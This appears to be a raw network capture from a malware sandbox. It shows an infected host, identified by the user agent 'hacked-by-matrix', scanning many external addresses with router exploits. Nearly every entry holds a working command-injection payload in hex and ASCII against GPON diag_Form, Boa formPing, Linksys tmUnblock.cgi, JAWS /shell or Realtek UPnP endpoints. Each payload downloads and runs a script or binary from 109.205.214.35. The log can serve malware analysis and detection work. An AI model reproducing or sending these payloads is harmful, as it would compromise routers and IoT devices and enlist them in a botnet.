Mar 21, 2024 05:17:12.605654001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.13	48094	37.224.115.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.605669022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.13	45608	212.140.123.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.605731964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.13	54360	109.10.255.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.605742931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.13	41758	212.57.26.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.605771065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.13	38646	37.156.239.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.613523960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.13	56416	109.80.9.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.613554001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.13	43260	37.248.134.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.613564968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.13	46532	94.155.89.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.613585949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.13	45068	37.18.121.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.613642931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.13	33500	79.104.202.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.613651991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.13	44438	37.201.8.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.621654987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.13	58052	210.99.101.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.621736050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.13	41714	212.68.153.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.621752024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.13	58174	109.138.242.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.621799946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.13	43534	79.137.124.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.621805906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.13	41872	178.190.171.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.621866941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.13	60320	94.55.104.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.621938944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.13	43984	212.203.179.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.622051954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.13	48658	178.63.39.36	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.065792084 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:25.173007965 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:31.318837881 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.13	39136	172.65.71.159	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.797472954 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.13	60312	164.95.8.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.666766882 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:23.764998913 CET	148	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.13	40976	194.39.119.148	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.735127926 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 